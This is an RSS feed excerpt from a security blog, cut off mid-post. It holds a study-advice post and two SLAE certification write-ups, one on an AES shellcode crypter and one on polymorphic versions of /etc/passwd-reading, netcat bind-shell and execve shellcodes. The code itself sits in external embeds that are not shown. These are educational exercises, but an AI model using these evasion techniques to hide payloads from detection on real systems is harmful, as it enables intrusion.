<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7191082080817652356</atom:id><lastBuildDate>Sun, 06 Oct 2019 09:48:27 +0000</lastBuildDate><category>slae</category><category>dll hijacking</category><category>evading windows 7 firewall</category><category>metasploit</category><category>slae assignment 5</category><category>antivirus evasion</category><category>bypassing antivirus</category><category>Arduino pro micro hack</category><category>Bluebox android</category><category>Coding Metasploit</category><category>Coding Modules in Metasploit</category><category>C|EH</category><category>DTMF apps</category><category>Damn Vulnerable web application tutorials</category><category>ISD 1820</category><category>ISD1820</category><category>RCE injection</category><category>RCE injection tutorial</category><category>Remote code execution</category><category>Social Engineering toolkit</category><category>Spy Recorder</category><category>Voice Recoding Devices in india</category><category>Wireless penetration testing</category><category>b.tech cyber security courses</category><category>bypassing dialer lock</category><category>bypassing ids detection</category><category>bypassing snort</category><category>ceh</category><category>certified ethical hacker</category><category>clamav</category><category>cyber security in india</category><category>cyber security subjects in bca</category><category>decoy scanning</category><category>dll search order hijacking</category><category>duckuino attacks</category><category>egghunter shellcode</category><category>ethical hacking certifications</category><category>evading snort detection</category><category>exploit writing</category><category>exploit writing part 1</category><category>finding previously connected networks</category><category>firewall bypassing</category><category>hacking webcam with metasploit</category><category>how to become a hacker</category><category>ipv6 shellcode</category><category>landline phonelock bypass</category><category>learn exploit development</category><category>linux exploit writing</category><category>multiencoder shellcode</category><category>ninja scanning</category><category>phreaking android</category><category>polymorphic shellcode</category><category>port scanning through firewall</category><category>port scanning through ids</category><category>port scanning through ips</category><category>shellcode encrypt</category><category>shellcoding</category><category>sickfuzz fix</category><category>sickfuzz not working</category><category>sickfuzz on kali linux</category><category>slae assignment 1</category><category>slae assignment 2</category><category>slae assignment 3</category><category>slae assignment 4</category><category>slae assignment 6</category><category>slae assignment 7</category><category>snort evasion techniques</category><category>ssid sniffing</category><category>the backdoor factory</category><category>usb rubber ducky in india</category><category>windows 7 firewall unblocking scans</category><category>wireless sniffing</category><title>Nipun Jaswal&#39;s Official Blog</title><description></description><link>http://www.nipunjaswal.com/</link><managingEditor>noreply@blogger.com (Nipun Jaswal)</managingEditor><generator>Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5616184390519661996</guid><pubDate>Sun, 26 Aug 2018 11:23:00 +0000</pubDate><atom:updated>2018-08-26T16:53:03.312+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">b.tech cyber security courses</category><category domain="http://www.blogger.com/atom/ns#">cyber security in india</category><category domain="http://www.blogger.com/atom/ns#">cyber security subjects in bca</category><title>Subjects that Help Building Cyber Security Skills while you are Studying</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-04KKTg2cuo0/W4KHqZpp-sI/AAAAAAAACSs/IDi6KqghEG0A9HzVggnf6wgsWWe2w0y4ACLcBGAs/s1600/Boosting-India-s-cyber-security.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;343&quot; data-original-width=&quot;343&quot; height=&quot;320&quot; src=&quot;https://3.bp.blogspot.com/-04KKTg2cuo0/W4KHqZpp-sI/AAAAAAAACSs/IDi6KqghEG0A9HzVggnf6wgsWWe2w0y4ACLcBGAs/s320/Boosting-India-s-cyber-security.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Whats up guys eh, long time and i haven&#39;t posted anything recently. Yeah i know i have been busy with a ton of work at the company where we have been doing something amazing almost every day. Recently, we have been working on various cutting-edge vulnerability research and product development projects and my end of the day is like never-ending. Anyways, there have been many students asking me one common question every time i login to facebook or any other social media that &quot;&lt;b&gt;I am a B.tech/BCA/MCA/B. Sc IT student and to focus more on cybersecurity, which subjects i should focus on&lt;/b&gt;&quot;. Well, your parents would say every subject :P, but some of the subjects do stand out from the crowd. Like i have always mentioned in my previous talks, articles that &lt;b&gt;C&lt;/b&gt; is the mother of all programming languages, you should always keep &lt;b&gt;C&lt;/b&gt; in the prime focus when it comes to programming. For those who suck at C or programming entirely, i am afraid that you may become a cybersecurity professional knowing nothing behind the picture and it will bite you someday or the other.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well, there are two kinds of people in the cyber security industry, especially on the low profile jobs, ones who are dedicated, committed and research oriented, those who will try every possible way to attack the application or any stack by finding vulnerabilities, logical flaws etc and there is a completely different lot as well.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-Z2joA2NUv-Q/W4J97KkAtvI/AAAAAAAACSY/OcMqBDkkoAQ2tPJTO67n-cGF66t8XHLKwCLcBGAs/s1600/2010012825102272.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;505&quot; data-original-width=&quot;670&quot; height=&quot;150&quot; src=&quot;https://2.bp.blogspot.com/-Z2joA2NUv-Q/W4J97KkAtvI/AAAAAAAACSY/OcMqBDkkoAQ2tPJTO67n-cGF66t8XHLKwCLcBGAs/s200/2010012825102272.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;There is a unique bunch of people who are dedicated, committed but are more of &lt;b&gt;&quot;Bots&quot;&lt;/b&gt;. Well sometimes bots can be cool, but they are generally hired to do only a single job that is to click some of the buttons on a vulnerability scanner. Well, the people i mentioned earlier (the one&#39;s who suck at programming) are excellent candidates for Bots since they are paid for clicking few buttons a month, it sounds really easy. However, easy is sometimes dull. A dedicated cybersecurity professional can never be boring, he wakes up to a new challenge every single day. Yet, to change your fate from becoming a life sized bot, the changes have to be done in the past and especially at the level where you are still developing skills. Hence, it is essential to know what&#39;s important and what&#39;s not, which subjects to focus precisely. Therefore, let me list down some of the critical subjects and the skills they will help you with if you focus more on them. We will be starting with the very primary subjects:&lt;/div&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;C/CPP Programming&lt;/b&gt;: Must for Everyone, developers, exploit researchers, pen-testers for logics etc.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Data Structures&lt;/b&gt;: Must for Exploit researchers especially in Heap overflow bugs, doubly linked list concepts help you out a lot. May not be that important for pen-testers who limit their scope only to scanners&lt;/li&gt;&lt;li&gt;&lt;b&gt;Operating System&lt;/b&gt;: Yes, the book in red and with dinosaurs... Important, Very important for researchers, developers, exploit developers because you get to know the insights of the operating system, get to know about processes and threads.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Computer Architecture&lt;/b&gt;: The most focused subject should be this one if you are planning exploit research or even if you are preparing for &lt;b&gt;OSCP/OSCE&lt;/b&gt;. I frankly thought this subject is a pain, but i realised that if i would have put in a lil bit of the extra effort at the time i was studying,&amp;nbsp; I would have not have learnt Assembly and computer organisation again.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Automata Theory&lt;/b&gt;: Good for Researchers, developers&lt;/li&gt;&lt;li&gt;&lt;b&gt;Computer Networks&lt;/b&gt;: Good for Researchers/ Developers /Exploit Developers/ Vulnerability Researchers, Pen-Testers etc.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Software Engineering&lt;/b&gt;: And the most boring subject of the century goes to... Anyways, though its boring, it will help you in learning the development stages, Models and plenty of other stuff. Mostly helpful for startup founders, solution researchers etc.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Artifical Intelligence/ Machine Learning&lt;/b&gt;: if these make a cut in your syllabus, you should be thankful to your college. AI and ML is a booming domain especially when combined with cybersecurity products. Mostly for everyone but especially for Developers (Cater to the current market)&lt;/li&gt;&lt;li&gt;&lt;b&gt;Compiler Design&lt;/b&gt;: Good to know for developers and researchers, not too important for pen-testers&lt;/li&gt;&lt;li&gt;&lt;b&gt;Cryptography&lt;/b&gt;: Aah... You know this right.. However, i strongly believe that this subject should also throw some light on the cryptanalysis. Essential for researchers, developers and CTF players.&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;b&gt;Wireless Sensor Networks&lt;/b&gt;: Yes, required for everyone especially in network pentesting, distributed solutions and much more&lt;/li&gt;&lt;li&gt;&lt;b&gt;Computer Networks&lt;/b&gt;: Everyone should know this especially if you like playing with Hackrf, SDR etc. Why? Encodings... Modulation Types and much more&lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons: Linux Programming&lt;/b&gt;: I am always thankful to LPU for putting this in my course material. This subject taught me SYSCALLS while i was studying. &lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons: Visual Basic&lt;/b&gt;: I am grateful again to my university for putting this in.. i am able to develop a lot of security tools and malware due to this :P&lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons: C#&lt;/b&gt;: Good to know and very important for developers especially when you hate Java.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons: Java&lt;/b&gt;: I suck at Java!! Enough Said.. but for developers, app developers this is a must&lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons: Python&lt;/b&gt;: Oh Yeah!! This is the best thing that can happen to you.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons: Cyber Security&lt;/b&gt;: If you failed to select this on time, that would be sad...&lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons:&lt;/b&gt; a lot of self-study, don&#39;t spend unnecessarily on Courses, learn from practical exposure such as Hack in the Box, VulnHub etc.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Add-Ons: Attendance&lt;/b&gt;: You would learn all of the above if you will be present in the class.&lt;/li&gt;&lt;li&gt;&lt;b&gt;The Most Important: Patience&lt;/b&gt;: Dont cram, try to learn. Dont go for cyber security if you think your friend has done it and so should you. Fall in love with it first.&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Hope this helps and answers your questions. Yes, there are a ton of courses online and available freely as well which will aid your learning process. Don&#39;t just be in the cybersecurity field for the job, be in the job because you know cyber security. I am happy that after completing my M.tech i am working in an area where my hobby changed to my profession and it feels like i am never working :) Post your queries in the comments if you think i left something out. Thanks&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/08/subjects-that-help-building-cyber-security-skills.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-04KKTg2cuo0/W4KHqZpp-sI/AAAAAAAACSs/IDi6KqghEG0A9HzVggnf6wgsWWe2w0y4ACLcBGAs/s72-c/Boosting-India-s-cyber-security.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-7817443281602659219</guid><pubDate>Wed, 28 Feb 2018 12:07:00 +0000</pubDate><atom:updated>2018-02-28T17:37:50.816+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">shellcode encrypt</category><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 7</category><title>Art of Shellcoding: Basic AES Shellcode Crypter</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In this post, we will design a shellcode crypter which will encrypt the shellcode and then decrypt the encrypted shellcode and run it dynamically. The libraries we will be using for encryption will be &lt;b&gt;mcrypt&lt;/b&gt;, and the shellcode encryption schema is&amp;nbsp;Rijndael-128(AES).&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-1Wkfj1ggCUU/WpaY0WrT9vI/AAAAAAAACDQ/qKDTtP4HfLUTq9LwX6lDMoBXJ_arOA9SwCEwYBhgL/s1600/security-aes_design_desktop.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;379&quot; data-original-width=&quot;600&quot; height=&quot;403&quot; src=&quot;https://2.bp.blogspot.com/-1Wkfj1ggCUU/WpaY0WrT9vI/AAAAAAAACDQ/qKDTtP4HfLUTq9LwX6lDMoBXJ_arOA9SwCEwYBhgL/s640/security-aes_design_desktop.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We will design the crypter in C programming language. The shellcode we will be using for this exercise will be an execve stack based shellcode. Following is the code of the crypter:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/76776a0393155f6de995712da8caf5f0.js&quot;&gt;&lt;/script&gt; The &lt;b&gt;enc_dec&lt;/b&gt; function accepts flag value and based on the value it performs either an encryption operation or decryption operation. Also, the length of the key for encryption and decryption is16. On running the crypter, we get the following output:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-Ruq-OMw7cRw/WpaTRpatHxI/AAAAAAAACC0/-SgJ3w0ClFc3zF1VyQd09eXRgCWbzRHIgCLcBGAs/s1600/Screenshot%2B2018-02-28%2B17.02.09.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://3.bp.blogspot.com/-Ruq-OMw7cRw/WpaTRpatHxI/AAAAAAAACC0/-SgJ3w0ClFc3zF1VyQd09eXRgCWbzRHIgCLcBGAs/s640/Screenshot%2B2018-02-28%2B17.02.09.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;We saw how we can create a basic crypter in C. We can build on these methods and combine the best of polymorphism, encoding, and encryption to create much more advanced and detection free shellcodes.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;article class=&quot;my-wrapz&quot; style=&quot;font-size: 14px; margin-top: 20px; outline: 0px; transition: all 0.3s ease;&quot;&gt;&lt;div class=&quot;post-detail&quot; style=&quot;background: 0px 0px; border: 0px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;post-body entry-content&quot; id=&quot;post-body-472697867898701560&quot; style=&quot;background: 0px 0px; border: 0px; font-size: 15px; line-height: 1.5em; margin: 0px; outline: 0px; overflow: hidden; padding: 0px; transition: all 0.3s ease; vertical-align: baseline; width: 723px;&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;background: 0px 0px; border: 0px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;div style=&quot;background: 0px 0px; border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot; style=&quot;background: 0px 0px; border: 0px; color: #f2132d; margin: 0px; outline: 0px; padding: 0px; text-decoration-line: none; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/article&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/02/shellcode-crypter.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://2.bp.blogspot.com/-1Wkfj1ggCUU/WpaY0WrT9vI/AAAAAAAACDQ/qKDTtP4HfLUTq9LwX6lDMoBXJ_arOA9SwCEwYBhgL/s72-c/security-aes_design_desktop.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-1534384188890645088</guid><pubDate>Wed, 28 Feb 2018 09:31:00 +0000</pubDate><atom:updated>2018-02-28T15:01:29.444+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">polymorphic shellcode</category><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 6</category><title>Art of Shellcoding: Polymorphic Shellcodes</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Polymorphic shellcodes help defeat pattern matching. A great shellcode will combine not only the polymorphism in the shellcode but will combine a variety of techniques including encoding, encryption, and polymorphism. In this post, we will take up 3 different shellcodes and will convert them into the polymorphic ones. A polymorphic shellcode will not differ in the functionality, but we will use a variety of other instructions. This means that polymorphism is nothing but doing the same thing using a variety of different instructions.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;/bin/cat /etc/passwd Shellcode&amp;nbsp;&lt;/h2&gt;The first payload we will be using is from&amp;nbsp;&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-571.php&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-571.php&lt;/a&gt;&amp;nbsp;. This shellcode is a simple /bin/cat shellcode and will display the contents of /etc/passwd file. The code is as follows:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/168c6432a7fd2f88a81994ce3af941fb.js&quot;&gt;&lt;/script&gt; &lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;/div&gt;We have commented out instructions from the original code and replaced it with a different set of instructions. We made use of ESI register instead of pushing the string directly onto the stack and performed an ADD operation to get the same value which was pushed in the original shellcode. To avoid null values we incremented ESI and performed subtract operation to get the second same value being pushed in the original shellcode.&lt;br /&gt;&lt;br /&gt;Throughout the shellcode, we made use of &lt;b&gt;ADD, SUB, INC &amp;amp; DEC&lt;/b&gt; instructions to completely defeat pattern matching. On compiling and Running the code, we get the following output:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-QbGHJTu3h7A/WpZjq6X4joI/AAAAAAAACBg/gzE50Gl3Gtwf8XrfgFrqfBcFYLXVMeRegCLcBGAs/s1600/Screenshot%2B2018-02-28%2B13.38.08.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://1.bp.blogspot.com/-QbGHJTu3h7A/WpZjq6X4joI/AAAAAAAACBg/gzE50Gl3Gtwf8XrfgFrqfBcFYLXVMeRegCLcBGAs/s640/Screenshot%2B2018-02-28%2B13.38.08.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Original Payload Length:&lt;/b&gt; &lt;b&gt;43 Bytes&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Polymorphic Version Length:&lt;/b&gt; &lt;b&gt;61 Bytes&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Change %age :&lt;/b&gt; &lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;41% Increase&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 style=&quot;text-align: justify;&quot;&gt;Netcat Bind TCP Shellcode&lt;/h2&gt;The next shellcode is a netcat bind TCP&amp;nbsp;shellcode which allows you to connect to the port 17771 and presents a system shell. The original Shellcode can be downloaded from&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-872.php&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-872.php&lt;/a&gt;&amp;nbsp;and is 58 bytes in length. Using the similar approach we took for the previous shellcode, let see what a polymorphic version of the shellcode looks like:&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/647b7bf9b54b45012797e549d05fd54a.js&quot;&gt;&lt;/script&gt; The code is pretty straightforward. However, we only replace instructions which are relevant to the signatures. We made use of ESI again as we did in the previous shellcode. However, we are also making use of EDI register as well.&amp;nbsp; On executing the shellcode:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-nTVMLhDis2w/WpZu1q6WLNI/AAAAAAAACB8/zqrlECjfVzA35pA2-_D11T2fej81_BFjwCLcBGAs/s1600/Screenshot%2B2018-02-28%2B14.23.36.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-nTVMLhDis2w/WpZu1q6WLNI/AAAAAAAACB8/zqrlECjfVzA35pA2-_D11T2fej81_BFjwCLcBGAs/s640/Screenshot%2B2018-02-28%2B14.23.36.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Original Payload Length:&lt;/b&gt;&amp;nbsp;&lt;b&gt;58&amp;nbsp;Bytes&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Polymorphic Version Length:&lt;/b&gt;&amp;nbsp;&lt;b&gt;86&amp;nbsp;Bytes&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Change %age :&lt;/b&gt;&amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;48% Increase&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;h2 style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Execve Shellcode&lt;/h2&gt;The last shellcode is execve shellcode from&amp;nbsp;&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-575.php&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-575.php&lt;/a&gt;&amp;nbsp;and is 21 bytes in length. The shellcode does nothing much than popping up a shell locally. Let&#39;s make a polymorphic version of it as follows:&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/789112d8cd3b3e4fce4c4744321f17a3.js&quot;&gt;&lt;/script&gt; &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We used the same concepts like we did for the previous shellcodes.&lt;br /&gt;&lt;b&gt;Original Payload Length:&lt;/b&gt;&amp;nbsp;&lt;b&gt;21&amp;nbsp;Bytes&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Polymorphic Version Length:&lt;/b&gt;&amp;nbsp;&lt;b&gt;22&amp;nbsp;Bytes&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Change %age :&lt;/b&gt;&amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;0.4&lt;/span&gt;&lt;span style=&quot;color: lime;&quot;&gt;% Increase&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt; On running the shellcode, we get the following output:&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-A8eWfbYxiOI/WpZ0QN-udaI/AAAAAAAACCY/HioXRxcq4VIYdwGMFXMNsUY3ckQOuasQwCLcBGAs/s1600/Screenshot%2B2018-02-28%2B14.41.42.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://4.bp.blogspot.com/-A8eWfbYxiOI/WpZ0QN-udaI/AAAAAAAACCY/HioXRxcq4VIYdwGMFXMNsUY3ckQOuasQwCLcBGAs/s640/Screenshot%2B2018-02-28%2B14.41.42.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Throughout this post, we saw that how a single operation can be done through a countless number of ways and making use of different&amp;nbsp;instructions. In the next post, we will see how we can make our own crypter.&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: red; font-family: &amp;quot;open sans&amp;quot;, sans-serif; font-size: 15px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: red; font-family: &amp;quot;open sans&amp;quot;, sans-serif; font-size: 15px;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;article class=&quot;my-wrapz&quot; style=&quot;background-color: white; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 14px; margin-top: 20px; outline: 0px; transition: all 0.3s ease;&quot;&gt;&lt;div class=&quot;post-detail&quot; style=&quot;background: 0px 0px; border: 0px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;post-body entry-content&quot; id=&quot;post-body-472697867898701560&quot; style=&quot;background: 0px 0px; border: 0px; font-size: 15px; line-height: 1.5em; margin: 0px; outline: 0px; overflow: hidden; padding: 0px; transition: all 0.3s ease; vertical-align: baseline; width: 723px;&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;background: 0px 0px; border: 0px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;div style=&quot;background: 0px 0px; border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-position: 0px 0px; border: 0px; color: red; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-position: 0px 0px; border: 0px; color: red; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot; style=&quot;background: 0px 0px; border: 0px; color: #f2132d; margin: 0px; outline: 0px; padding: 0px; text-decoration-line: none; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-position: 0px 0px; border: 0px; color: red; margin: 0px; 